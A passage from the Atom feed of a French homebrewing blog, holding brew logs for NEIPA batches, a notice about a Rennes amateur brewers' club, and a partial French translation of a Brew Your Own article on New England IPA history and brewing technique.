&lt;li&gt;13h33: Mash-out à 78°C durant 10mn&lt;/li&gt;
&lt;li&gt;Test à l'iode: OK&lt;/li&gt;
&lt;li&gt;14h11: 1er rincage. Densité premier mout: 1070&lt;/li&gt;
&lt;li&gt;15h40: Hop Stand (15g Citra / 15g Mosaic)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Fermentation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;31/12/2017 - Fermentation à 20°C&lt;/li&gt;
&lt;li&gt;01/01/2018 - Ajout de 12g de Citra et 12g de Mosaic après deux jours.&lt;/li&gt;
&lt;li&gt;10/01/2018 - 1.040 SG = 1.008 corrigé&lt;/li&gt;
&lt;li&gt;15/01/2018 - Ajout de 12g de Citra et 12g de Mosaic&lt;/li&gt;
&lt;li&gt;15/01/2018 - Cold Crash&lt;/li&gt;
&lt;li&gt;21/01/2018 - Mise en bouteille. Resucrage à 7g/L.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Observations:&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;En mettant 1.5ml d'acide, si on mesure le pH de l'eau, il est à 3.5. Ça nous à pas mal effrayé, puisque on a pas trop l'habitude de monitorer le pH. On refait: 0.4ml d'acide = pH de 4.1. Au final, cela ne semble pas utile de mesurer le pH de l'eau avant de mettre son grain.&lt;/li&gt;
&lt;li&gt;Je le savais déjà, mais travailler à deux en discutant n'est pas vraiment une bonne idée: sur les opérations un peu technique, un manque de concentration se fait tout de suite ressentir.&lt;/li&gt;
&lt;li&gt;BeerSmith semble proposer un outil pour calculer les modifications de pH, je devrais l'utiliser la prochaine fois.&lt;/li&gt;
&lt;li&gt;Baisser le ration d'empâtage: On s'est retrouvé avec beaucoup trop d'eau de rincage, alors qu'on était sur une bière assez faible en densité.&lt;/li&gt;
&lt;li&gt;Au final, ajouter l'acide au départ est problématique pour le pH de l'eau qui baisse énormement. Après quelques recherches, il semble qu'il faille faire confiance au logiciel, et prendre une seule mesure de pH à 10mn (cela devrait être stable). Le pHmetre est aussi peut-être en cause.&lt;/li&gt;
&lt;li&gt;D'une manière générale, j'ai l'impression d'être un peu à l'arrache sur la partie fermentation. Il faudrait vraiment que j'ai un plan et que je m'y tienne. Plusieurs questions me semblent encore à résoudre: combien de temps laisser le houblon à cru ? A quelle température ?&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>NEIPA #2</title><link href="https://blog.notmyidea.org/neipa-2.html" rel="alternate"></link><published>2017-12-18T00:00:00+01:00</published><updated>2017-12-18T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2017-12-18:/neipa-2.html</id><summary type="html">&lt;p&gt;&lt;em&gt;Voici quelques prises durant un de mes brassins. L'idée est de pouvoir les relire et m'améliorer au fur et à mesure.&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;Objectifs:&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Corriger les erreurs du précédent brassin.&lt;/li&gt;
&lt;li&gt;Éviter les soucis de filtration&lt;/li&gt;
&lt;li&gt;Mieux corriger le pH&lt;/li&gt;
&lt;li&gt;Faire un whirlpool digne de ce nom / avoir moins de trub dans le …&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Voici quelques prises durant un de mes brassins. L'idée est de pouvoir les relire et m'améliorer au fur et à mesure.&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;Objectifs:&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Corriger les erreurs du précédent brassin.&lt;/li&gt;
&lt;li&gt;Éviter les soucis de filtration&lt;/li&gt;
&lt;li&gt;Mieux corriger le pH&lt;/li&gt;
&lt;li&gt;Faire un whirlpool digne de ce nom / avoir moins de trub dans le fermenteur&lt;/li&gt;
&lt;li&gt;Ne pas se laisser avoir par la baisse de température durant l'empâtage.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Recette:&lt;/h1&gt;
&lt;p&gt;DI: 1060 (1050 mesuré)
pH: 5.2 (atteint)&lt;/p&gt;
&lt;h2&gt;Grains:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;90% Pils&lt;/li&gt;
&lt;li&gt;10% Flocons d'avoine&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Houblons:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2g/L Wakatu (au Whirlpool)&lt;/li&gt;
&lt;li&gt;2g/L Motueka (au Whirlpool)&lt;/li&gt;
&lt;li&gt;4.5g/L Wakatu à cru (en deux fois)&lt;/li&gt;
&lt;li&gt;2.5g/L Motueka à cru (en deux fois)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Eau:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Utilisation d'eau de source, pour pouvoir corriger les sulfates / chlorures.&lt;/li&gt;
&lt;li&gt;200 Chlorures pour 100 Sulfates.&lt;/li&gt;
&lt;li&gt;Gypse: 0.9g&lt;/li&gt;
&lt;li&gt;CaCl2: 3.4g&lt;/li&gt;
&lt;li&gt;Acide lactique: Au batch précédent, j'avais mesuré 5.6, donc: ajout de +2ml d'acide (=2.4g).&lt;/li&gt;
&lt;li&gt;Utilisation d'Irish Moss (2g) pour coaguler les protéines.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Profil d'empatage:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;65°C durant 90mn (68°C au départ, 65 visé)&lt;/li&gt;
&lt;li&gt;78°C durant 10mn (mash-out)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Levure&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;London Ale III.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Déroulé&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;18h36 - empatage à 65°C&lt;/li&gt;
&lt;li&gt;19h16- pH = 5.2&lt;/li&gt;
&lt;li&gt;Densité 1er moût: 1070&lt;/li&gt;
&lt;li&gt;Ébullition importante pour atteindre 6,2L avec la bonne densité.&lt;/li&gt;
&lt;li&gt;Mash-out à 78°C durant 10mn&lt;/li&gt;
&lt;li&gt;Test à l'iode: NOK&lt;/li&gt;
&lt;li&gt;1er rincage. Densité premier mout: 1070&lt;/li&gt;
&lt;li&gt;15h40: Hop Stand (15g Citra / 15g Mosaic)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Fermentation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;18/12/2017 - Fermentation à 18°C&lt;/li&gt;
&lt;li&gt;21/12/2017 - Ajout de 13.5g de Wakatu et 7.5g de Motueka&lt;/li&gt;
&lt;li&gt;30/12/2017 - Ajout de 13.5g de Wakatu et 7.5g de Motueka&lt;/li&gt;
&lt;li&gt;30/12/2017 - Passage à 10°C.&lt;/li&gt;
&lt;li&gt;15/01/2018 - Cold Crash&lt;/li&gt;
&lt;li&gt;21/01/2018 - Mise en bouteille. Resucrage à 7g/L.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Observations:&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Je change de technique, et mets l'acide lactique directement dans l'eau.&lt;/li&gt;
&lt;li&gt;Je concasse moins fin mais reteste quand même l'avoine. Aucun souci de filtration (mais l'avoine n'est pas concassé).&lt;/li&gt;
&lt;li&gt;1g de CaCl2 ~= 2.25ml en solution à 33%.&lt;/li&gt;
&lt;li&gt;Les deux thermomètres n'affichent pas la même température. Super :(.&lt;/li&gt;
&lt;li&gt;Au final, jempâte dans une casserole pour pouvoir faire un mash-out.&lt;/li&gt;
&lt;li&gt;Le pH oscille pas mal durant l'empâtage. J'ai mesuré des pH de 4.9 à certains moments, mais au final la dernière lecture est de 5.2, ce qui me semble bon.&lt;/li&gt;
&lt;li&gt;Le système que j'utilise (refroidisseur en cuivre) pour refroidir mon moût n'est pas génial parce que ça mélange pas mal ce qu'on veut voir se déposer au fond de la cuve. Refroidir directement dans l'évier est vachement plus simple (c'est pratique de faire du 6L pour çà !)&lt;/li&gt;
&lt;li&gt;Le teste à l'iode était positif: tout n'était pas converti. Mais à 90mn de mash, je ne crois pas pouvoir faire grand chose de plus.&lt;/li&gt;
&lt;li&gt;Idée en vrac, à voir à la dégustation, mais ajouter un peu de cara pourrait être sympa.&lt;/li&gt;
&lt;li&gt;L'irish moss à vraiment bien fonctionné. Je me demande si je ne devrais pas même laisser décanter un peu plus longtemps durant le whirlpool pour avoir un effet encore plus impressionnant.&lt;/li&gt;
&lt;li&gt;Je trouve que l'efficacité de cette brasserie est vraiment pourrie.&lt;/li&gt;
&lt;li&gt;Un peu d'eau est venue diluer le moût (DI = 1050 au lieu de 1060 souhaité)&lt;/li&gt;
&lt;li&gt;Au goût, le moût à vraiment un goût qui m'assèche la gorge. Trop de modifications de l'eau ? A voir si l'effet persiste après fermentation.&lt;/li&gt;
&lt;li&gt;A priori, d'après un article de Scott Janish, empâter avec de l'avoine cru ne fonctionne que si on empate haut. Ca à un impact sur l'efficacité générale (2h pour conversion totale, c'est peut-être pour ça que mon teste à l'iode était positif)&lt;/li&gt;
&lt;li&gt;Sur l'avoine toujours, il faut &lt;strong&gt;dépasser 18%&lt;/strong&gt; pour avoir un côté moelleux. Certains mettent jusqu'à 40% !&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Un club des brasseurs amateurs Rennais</title><link href="https://blog.notmyidea.org/un-club-des-brasseurs-amateurs-rennais.html" rel="alternate"></link><published>2017-11-06T00:00:00+01:00</published><updated>2017-11-06T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2017-11-06:/un-club-des-brasseurs-amateurs-rennais.html</id><summary type="html">&lt;p&gt;En Mars dernier, suite à quelques discussions entre brasseurs amateurs, on à décidé de monter &lt;a href="https://framalistes.org/sympa/subscribe/brassam-rennes"&gt;une liste de diffusion&lt;/a&gt; pour faciliter les échanges autour du brassage amateur sur Rennes et ses alentours.&lt;/p&gt;
&lt;p&gt;Un peu plus tard, &lt;a href="https://www.facebook.com/groups/899071153568179/"&gt;un groupe Facebook&lt;/a&gt; est venu s'ajouter, et c'est vrai qu'on sent une dynamique naissante …&lt;/p&gt;</summary><content type="html">&lt;p&gt;En Mars dernier, suite à quelques discussions entre brasseurs amateurs, on à décidé de monter &lt;a href="https://framalistes.org/sympa/subscribe/brassam-rennes"&gt;une liste de diffusion&lt;/a&gt; pour faciliter les échanges autour du brassage amateur sur Rennes et ses alentours.&lt;/p&gt;
&lt;p&gt;Un peu plus tard, &lt;a href="https://www.facebook.com/groups/899071153568179/"&gt;un groupe Facebook&lt;/a&gt; est venu s'ajouter, et c'est vrai qu'on sent une dynamique naissante autour de la brasserie artisanale dans le coin.&lt;/p&gt;
&lt;p&gt;En six mois, on est maintenant une grosse trentaine de personnes à être inscrits sur les listes et à se retrouver de temps à autres.&lt;/p&gt;
&lt;p&gt;On en profite pour s'échanger des bons plans, déguster nos créations, (essayer de) faire des commandes groupées de malt, et pour se rencontrer pour papoter entre passionnés.&lt;/p&gt;
&lt;p&gt;On a pas mal d'idées de trucs sympa a faire, entre autres:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;brasser une fois en gros puis se séparer le batch en plein de petits fermenteurs pour essayer différentes levures, différents houblons en &lt;em&gt;dry hop&lt;/em&gt;, etc.&lt;/li&gt;
&lt;li&gt;A la dernière rencontre, on s'est mis d'accord sur un style de bière pour se lancer un petit défi: tous brasser &lt;a href="https://blog.notmyidea.org/larrivee-du-trouble-ou-comment-faire-des-neipa.html"&gt;une NEIPA&lt;/a&gt; pour ensuite comparer nos résultats.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bref, c'est plutôt chouette ! Je me suis rendu compte qu'on avait quasiment aucune existence en dehors des réseaux sociaux, alors je me permet de publier ce petit bout d'article avec quelques liens…&lt;/p&gt;
&lt;p&gt;Si tu es dans le coin et que tu souhaite nous rencontrer, n'hésite pas à rejoindre &lt;a href="https://www.facebook.com/groups/899071153568179/"&gt;notre groupe de discussion Facebook&lt;/a&gt; et notre &lt;a href="https://framalistes.org/sympa/subscribe/brassam-rennes"&gt;liste de diffusion mail&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A bientôt ;)&lt;/p&gt;</content></entry><entry><title>L'arrivée du trouble (ou comment faire des NEIPA ?)</title><link href="https://blog.notmyidea.org/larrivee-du-trouble-ou-comment-faire-des-neipa.html" rel="alternate"></link><published>2017-10-17T00:00:00+02:00</published><updated>2017-10-17T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2017-10-17:/larrivee-du-trouble-ou-comment-faire-des-neipa.html</id><summary type="html">&lt;p&gt;&lt;strong&gt;Ceci est une traduction d'un article paru dans le magazine « Brew Your Own » en Octobre 2016, écrit par Dave Green&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C'est la saison des élections aux états unis et la bataille entre les partis politiques semble être plus controversée que d'habitude. Coincidemment, les buveurs de bières « Craft» US semblent avoir …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Ceci est une traduction d'un article paru dans le magazine « Brew Your Own » en Octobre 2016, écrit par Dave Green&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C'est la saison des élections aux états unis et la bataille entre les partis politiques semble être plus controversée que d'habitude. Coincidemment, les buveurs de bières « Craft» US semblent avoir leur propre bataille qui divise au moins autant: une IPA peut elle être aussi trouble qu'une hefeweizen ? En provenance du coin Nord Est des  États-Unis, l'IPA trouble est en passe de devenir culte depuis quelques années. Mais la mode ne vient pas sans contrecoup. En fait, tout le monde y va de son opinion chez les brasseurs artisanaux. Pour ceux qui apprécient ce type d'IPA, l'apparence trouble signifie que les gorgées qui suivent seront extrèmenent riches en huiles de houblons; pour les autres, l'apparence est un affront à des principes ancestraux. Que vous les appeliez des rince-bouches, des soupes boueuses, brillantes ou horribles, ne vous faites pas de fausse idée: ces ales troubles sont là pour rester.&lt;/p&gt;
&lt;p&gt;Pour commencer cette histoire, revenons un peu au début des années 1990. La scène brassicole artisanale était en train de vivre son premier boom et les nouvelles brasseries faisaient leur apparition dans tous les coins des États-Unis. Menée par Sierra Nevada Brewing Company, les American Pale Ale et les American IPA étaient en train démerger en tant que styles populaires parmi les amateurs de bière, pour leurs caractéristiques riches en houblon.&lt;/p&gt;
&lt;p&gt;Le niveau d'amertume était un trait notoire, et avoir la bonne morsure d'amertume était essentiel pour une IPA. L'innovation a ensuite commencée à arriver sur la cote Ouest des États Unis à la fin des années 1990, et au début des années 2000, quand quelques doubles ou impériales IPA telles que Pliny the Elder de Russian River et Ruination IPA de Stone Brewing ont commencées à sortir des fermenteurs. Alors que celles ci contenaient énormement de « morsure du houblon», ce qui séparaient ces bières de beaucoup d'autres versions du style était le fait que le nez et la saveur du houblon semblaient éclater de la bière.&lt;/p&gt;
&lt;p&gt;Du point de vue du brasseur, les huiles essentielles de ces houblons étaient bien plus présents que les acides alpha. En utilisant un profil de malt neutre et une souche de levure neutre, ces bières laissaient la part belle aux houblons. Ces brasseurs utilisaient aussi des houblons souvent critiqués, forts en acides alpha, tels que Columbus, Centennial, Simcoe et Chinook à la fin de l'ébullition ou en houblonnage à cru... et en grosses quantitées. Cela peut sembler comme une pratique courante pour une IPA actuellement, mais il y a à peine 15 ans, la plupart de la littérature évitaient d'utiliser ces variétés de houblon pour une utilisation autre que de l'amérisant. Lévolution d'une nouvelle American IPA était en train de prendre forme, sur la cote Ouest des étants unis, un style que les buveurs de bière ont nommé la « West Coast IPA».&lt;/p&gt;
&lt;h1&gt;La phase de démarrage&lt;/h1&gt;
&lt;p&gt;De retour sur la cote Est des États-Unis, dans un petit brewpub de Burlington à Vermont, deux brasseurs commencent innocemment à développer un type d'American IPA avec des objectifs similaires que les brasseurs de la côte Ouest, mais en utilisant une stratégie différente. Crée en 1988 par Greg Noonan et Steve Polewacyk, le « Vermont Pub &amp;amp; Brewery » deviendra le berceau d'une nouvelle révolution autour des IPA.&lt;/p&gt;
&lt;p&gt;Souvent citée comme étant les premiers brasseurs des Black IPA modernes ainsi que des New England IPA, offrant une variété de bières qui était extrèmement rare à cette époque, le « Vermont Pub &amp;amp; Brewery » a des racines provenant de la connaissance du brassage et de la chimie de Greg Noonan, ainsi que son flair pour la créativité.&lt;/p&gt;
&lt;p&gt;Se reposant sur la révolution de la bière mondiale (menée par Michael Jackson), Greg Noonan à exploré des styles de bières qui étaient en dehors des sentiers battus, même pour les brasseurs qui étaient déjà en avance sur leur temps.&lt;/p&gt;
&lt;p&gt;Arrive John Kimmich, qui, en 1994 à déménagé dans le Vermont avec l'objectif de brasser sous la tutelle de Greg Noonan. John à travaillé un temps à Pittsburg (en Pennsylvanie) dans un &lt;em&gt;home brewshop&lt;/em&gt; nommé Country Wines. Il a travaillé avec Alexis Hartung et sa grande bibliothèque sur le brassage maison et a eu son premier éclair de génie brassicole en lisant le livre de Greg Noonan « New Brewing Lager Beer ». Un an plus tard, il commence à travailler au « Vermont Pub &amp;amp; Brewery ». En quelques mois, Greg commence à avoir confiance dans les capacités de son nouveau protégé. Avec chaque bière que John travaillait, le mentor était impressionné. Après douze mois, Greg donne la liberté à John dexpérimenter seul sur les recettes.&lt;/p&gt;
&lt;p&gt;En 1997, John part du « Vermont Pub &amp;amp; Brewery » et cofonde avec sa femme Jen un brewpub en 2003, le « Alchemist Pub &amp;amp; Brewery », situé 30mn à l'est de Burlington à Waterbury dans le Vermont. A cette époque, Waterbury était un petit village dormant du New England, n'attirant pas grand monde autre que quelques touristes. Il était par contre assez bien situé, à un croisement des chemins, juste à la sortie d'une autoroute majeure, Waterbury est facilement accessible par à la fois les voyageurs en route pour les endroits touristiques et pour les locaux en allant / revenant du travail ou pour leurs excursions shopping. Grâce à ces quelques éléments, Waterbury s'est donc révélé êre un excellent spot pour Jen et John.&lt;/p&gt;
&lt;p&gt;Une caractéristique unique des bières houblonnées de Kimmich était que lorsque servies fraîches et non filtrées, elles étaient souvent assez troubles. Il trouvait que filtrer ses bières pouvait introduire de l'oxygène non souhaité, enlevant de la bière beaucoup d'aspects intéressants. Il utilisait une souche nommée Conan (VPB1188), une levure que son mentor a développé et que maintenant beaucoup connaissent. Avec les dérivés Anglais, la souche de levure Conan, les bonnes connaissances en brassage de John, ainsi que son habitude à expérimenter avec les houblons, on se retrouve avec une combinaison gagnante pour une révolution du brassage sur la côte est.&lt;/p&gt;
&lt;h1&gt;La phase de croissance&lt;/h1&gt;
&lt;p&gt;En 2007, alors que j'allais au festival des brasseurs du Vermont, la queue pour accéder au stand de The Alchemist était d'au moins 20 minutes pour un verre. Certaines personnes remplissaient leurs verres et retournaient faire la queue pour avoir la chance de goûter une autre de ces bières tant acclamées, en particulier pour Heady Topper. Pour la première fois brassée en 2003, Heady Toper retenait alors l'attention, alors qu'elle n'était réellement qu'une parmi les nombreuses IPA acclamées de chez The Alchemist. Des histoires circulaient comme quoi certaines personnes amenaient leurs pintes aux toilettes pour remplir des bouteilles, les capsuler et les ramener chez eux, puisque le bar ne proposait pas de remplir de Growlers à l'époque, ni ne vendait de bouteilles. Je pensais alors que l'engouement pour ces IPAs avait atteint une sorte de paroxysme. Je n'avais pas encore compris que le feu était seulement en train de se construire.&lt;/p&gt;
&lt;p&gt;J'ai récemment demandé à Shaun Hill, de la brasserie « Hill Farmsted » à Greensborrow Bend dans le Vermont, classée « meilleure brasserie du monde » 3 des 4 dernières années sur RateBeer.com, quel était sa relation avec John Kimmich à l'époque. Shaun brassait à l'époque 30mn plus loin, à Stowe, dans un brewpub appelé « The Shed».&lt;/p&gt;
&lt;p&gt;« En 2005, je ne tarissais pas d'éolges pour les bières de John me faisait le plaisir de critiquer mes bières » me dit Hill, « Cette relation à évoluée avec le temps, plus specialement lorsque j'ai déménagé au Danemark et que cette conversation est devenue une conversation entre pairs, poussant l'autre dans de nouvelles directions.». Avec le decès de Greg Noonan en 2009, l'ancien protégé est devenu le nouveau mentor. Lors d'un échange avec Joel Mahaffey de Foundation brewing Co, à Portland à propos des IPAs influentes pour cette nouvelle révolution, il dit de The Alchemist « Quiconque réponds à cette question et oublie Heady Topper, ils sont à coté de la plaque. Il s'agit de la première IPA trouble, et à laissée une marque sur la communauté brassicole.»&lt;/p&gt;
&lt;p&gt;Ce qui à emergé dans le coin nord-est des états unis est une explosion de nouvelles brasseries produisant des Pale Ale, des IPA et des double IPA basées sur la non filtration, l'explosion de saveurs, et un corps doux, un style que Greg Noonan et John Kimmich ont découvert, et qu'ensuite Shaun Hill à continué à affiner. John et Shaun ont séparemment pointé du doigt le fait qu'ils brassaient juste des bières à leur convenance, et qu'ils appréciaient le produit fini. Le terme « Juicy IPA » s'est retrouvé être un nom pour ces bières, et la texture est souvent aussi importante que le nez et le gout de houblons. Et comme les IPA de la côte Ouest se sont répendues en 2008, les bières troubles, non filtrées, les New England IPA se répendent en 2016.&lt;/p&gt;
&lt;h1&gt;C'est parti !&lt;/h1&gt;
&lt;p&gt;Il est maintenant temps de passer à la brasserie et de regarder comment faire pour brasser une IPA, New England style. Shaun Hill dit « soyez vous mêmeet faites une bière qui goute, sent et ressemble à ce que vous voulez qu'elle soit », JC Tetreault de Trillum à Boston dans le Massachussetts ajoute « la réponse courte… tout est important ! Vous devez vous concentrer sur chaque aspect pour arriver à la bière que vous souhaitez. » L'objectif est d'arriver à une bière douce, un peu ronde, presque tropicale, à la texture ressemblant presque à un jus de fruit, laissant une morsure subtile sur la langue en fin de bouche graçe au houblon.&lt;/p&gt;
&lt;h2&gt;Les malts&lt;/h2&gt;
&lt;p&gt;Tout comme les IPAs de la cote Ouest, les NEIPA sont relativement simples en malts. Le style évite les malts qui ajoutent des saveurs de pain et de crackers. Les malts cristals et autres malts au dessus de 20°L (ndt: 52 EBC) sont d'une manière générale évités. Ces bières peuvent bénéficier de certains ajouts de malts cristal clairs, mais gardez les à lœil. Des flocons d'avoine, d'orge, de blé et autres peuvent être ajoutés pour contribuer au corps, mais ne pensez pas qu'ils soient une necessité. J'ai pu jouer avec des pourcentages de 15% de flocons dans mes recettes, et les résultats étaient presque excessifs. JC Tetreault dit que « à propos des ajouts de céréales non maltés et de flocons… nous ne les utilisons pas dans toutes nos bières basées sur le houblon. En fait, une proportion plutôt petite de nos bières basées sur le houblon en font usage». Les ajouts de sucre tels que les dextrose, saccharose et sucres crus augmentent la densité du moût pour s'assurer de la sécheresse dans les versions plus alcoolisées. Si vous choisissez d'ajouter du sucre cru, encore une fois, faites en sorte que l'ajout soit modeste; j'ai trouvé que certaines saveurs de mélasses avaient tendance à arriver à partir de 10% du total du grain. L'objectif est de garder les houblons comme caractéristique principale de la bière, tout en ayant une base de malt douce mais présente.&lt;/p&gt;
&lt;h2&gt;Les levures&lt;/h2&gt;
&lt;p&gt;Et c'est ici que les NEIPA dérivent des IPA de la cote Ouest. L'ajout des levures ainsi que le traitement à partir de la fermentation semble être la plus grosse différence entre les deux styles. D'abord, regardons comment ces bières sont fermentées. La plupart des NEIPA ne sont pas clarifiées dans le fermenteur avec des agents clarifiant tels que de la gélatine, du Biofine® ou du Polyclar™, et elles ne sont pas filtrées ou centrifugées plus tard pour clarifier la bière. La pensée derrière ce process est qu'enlever les levures de la bière à également pour effet d'enlever les huiles essentielles ainsi que d'autres nuances subtiles qui permettent à la bière d'avoir son caractère propre. Cela permet de garder un niveau d'huiles assez elevé dans le produit fini. Deuxièmement, les brasseurs de New England fermentent en utilisant une souche de levure d'origine anglaise. Ashton Lewis, l'éditeur technique de Brew Your Own précise « D'après des études ADN, la levure California Ale (White Labs WLP001, Wyeast 1056 et les autres souches de Chico) viendraient plutôt de Cologne, en Allemagne ». Ces souches américaines ont été choisies pour leur capacité à produire des bières claires, transparentes et amères sans ajouter de caractère. Les souches de levure utilisées par les brasseurs de New England IPA sont utilisées pour ajouter des esters, qui aident à produire le profil juteux de ces bières. Les IPAs brassées avec ces souches ne semblent pas être aussi transparentes que les souches Americaines lorsqu'elles sont exposées à des niveaux d'huiles elevés. Ceci vient en désaccord avec la plupart de la littérature sur les souches Anglaises. Si vous lisez la description de la plupart des souches de levures utilisées pour produire ces IPA troubles, la plupart sont considéeées « hautement floculantes », alors que la souche Chico, souvent utilisée pour les IPA de la cote Ouest annonce plutôt une floculation moyenne à faible. Pourquoi alors ces bières ne se clarifient pas lorsqu'elles sont sujettes à des hautes doses de houblon en fin d'ébullition ou en houblonnage à cru ? Cela reste encore une zone floue, j'ai donc demandé à quelques personnes dans l'industrie à propos de ce flou. Certains brasseurs pointent du doigt le fait que ces souches de levures floculent trop rapidement. Cela ne laisse pas le temps aux polyphénols de s'attacher aux levures, laissant ces composés ainsi que d'autres composés dérivés du houblon dans la solution plutôt que des les en enlever. Ashton Lewis nous rappelle aussi que le trouble trouvé dans les hefeweizen est principalement causé par les interactions entre les protéines et les polyphénols, et non pas par les levures.&lt;/p&gt;
&lt;p&gt;Donc, quelles sont les souches de levure que vous devriez utiliser ? Le choix est en fait assez large, pour ceux qui souhaitent brasser ces types de American IPA, referez vous donc aux suggestions données dans les recettes jointes pour quelques idées.&lt;/p&gt;
&lt;h2&gt;L'eau&lt;/h2&gt;
&lt;p&gt;L'eau joue un rôle prépondérant dans le développement des New England IPA. Concentrez vous sur les niveaux de dureté de votre eau. Si vous avez une eau assez douce, alors vous avez un bon point de départ. Si vous avez une eau plutôt dure, obtenez un relevé d'eau (ndt: allez faire un tour sur le site « Eau du bassin Rennais » !). Si vous n'avez pas ces relevés d'eau, vous pouvez aussi faire analyser votre eau par des laboratoires, ou vous pouvez le faire vous même grâce à des kits de test de l'eau. Peu importe ce que vous choisissez, utiliser de l'eau distillée ou osmosée peut vous fournir une bonne base pour construire le profil d'eau que vous souhaitez obtenir. Essayez de garder votre niveau de bicarbonate en dessous de 50 PPM pour votre eau dempâtage et votre eau de rinçage.&lt;/p&gt;
&lt;p&gt;La prochaine chose sur laquelle se concentrer est vos sulfates et vos chlorures. Ceci est parfois controversé, mais encore une fois peut potentiellement être un facteur différenciant entre les IPA de la côte Est et les IPA de la côte Ouest. Quand j'ai commencé à jouer avec la composition de mon eau, j'ai traité l'eau de mes IPA pour atteindre un rapport 2:1 de sulfates / chlorures, ce qui s'est traduit par 100:50 PPM. J'ai produit plusieurs bières qui pouvaient rivaliser (selon moi) avec certaines que mes idoles produisaient. Mais, dans l'esprit du brassage amateur, j'ai continué à expérimenter. J'ai changé l'équilibre de sulfate / chlorures à 200:50PPM sans que je perçoive un changement. J'ai ensuite essayé 100:100 et trouvé que ça me plaisait un peu plus. Mes trouvailles ne sont pas la seule preuve anecdotique que booster le niveau de chlorures peut bénéficier à ce style de bières. Si vous cherchez à ajuster vos sulfates et for chlorures pour votre eau d'empâtage et de rincage, je vous encourage à jeter un oeil à l'article de Scott Janish du 7 Mars 2016 intitulé « Mouthfeel softness ». Scott y parle des effets négatifs d'un taux de sulfates elevé et des aspects positifs d'un niveau de chlorures elevé.&lt;/p&gt;
&lt;h2&gt;Les houblons&lt;/h2&gt;
&lt;p&gt;Généralement, l'amertume des houblons dans ce type d'IPA joue un rôle support, qui vient équilibrer le corps et la douceur des malts. Premièrement, gardez l'ajout de houblons amérisants modéré à faible. Vous pouvez expérimenter avec l'ajout de houblons amérisants mais je n'ai jamais eu l'occasion de trouver qu'une utilisation importante de houblons amérisants menait à une meilleure New-England IPA. Utilisez des houblons hauts en alpha tels que Magnum, Warrior™ ou Bravo si vous choisissez d'utiliser des houblons en cône ou en pellets, et je recommande de garder les ajouts d'amérisants assez faibles. D'habitude, j'essaye houblonner pour un rapport de 1:3 BU:GU (amertume sur densité). Cela signifie que quand je vise une densité cible de 1.066, l'ajout de houblons à 60mn est de 22 IBUs. Cela est fait pour éviter d'ajouter une dureté qui peut provenir d'une ébullition d'une quantité plus elevée de houblons. L'autre option est d'utiliser des extraits de houblon, qui peuvent contribuer les acides alpha nécessaires pour obtenir la bonne amertume, sans ajouter de polyphénols, que certains brasseurs pensent être à l'origine d'une certaine dureté.&lt;/p&gt;
&lt;p&gt;Les ajouts de houblons en fin d'ébullition jouent un rôle beaucoup plus important pour la production de New-England IPA. Des apports copieux à la fin de l'ébullition ou au &lt;em&gt;flame-out&lt;/em&gt; sont utiles pour tout type d'IPA hautement aromatique. Cela ajoutera des IBUs pour compléter votre apport en houblons amérisants et commencera à créer votre profil d'huiles. Je trouve que des variétés plus mordantes / piquantes comme le Simcoe®, Columbus, Chinook et Apollo fonctionnent bien à cette étape. Chaque brasseur semble trouver sa technique ici, qu'il s'agisse de faire plusieurs ajouts à 20mn ou moins puis de baisser à une température précise pour faire un &lt;em&gt;hop stand&lt;/em&gt;, ou bien de simplement ajouter tous les houblons au &lt;em&gt;flame-out&lt;/em&gt; et de les laisser durant 20 minutes ou plus. Il ne semble pas qu'il y ait de mauvaise manière de faire, juste plusieurs manières d'extraire les huiles essentielles des houblons à une température pas trop haute.&lt;/p&gt;
&lt;p&gt;Le houblonnage à cru est votre prochain objectif. J'aimerais me concentrer sur les techniques plutôt que sur les quantités ou variétés puisque la technique semble être le plus important ici. Ceci dit, une chose est sure, ne soyez pas trop timide avec les ajouts durant le houblonnage à cru. 7.5g/L est certainement un bon point de départ. Vous pouvez ajuster en fonction de vos résultats. Les brasseurs Scott Janish et Michael Tonsmeir ajoutent que mettre ces bières en fûts à quelques avantages. Houblonner dans le fût, purger au CO2 et le fait de ne pas avoir de période prolongée de carbonatation sont déjà deux des avantages des fûts sur les bouteilles.&lt;/p&gt;
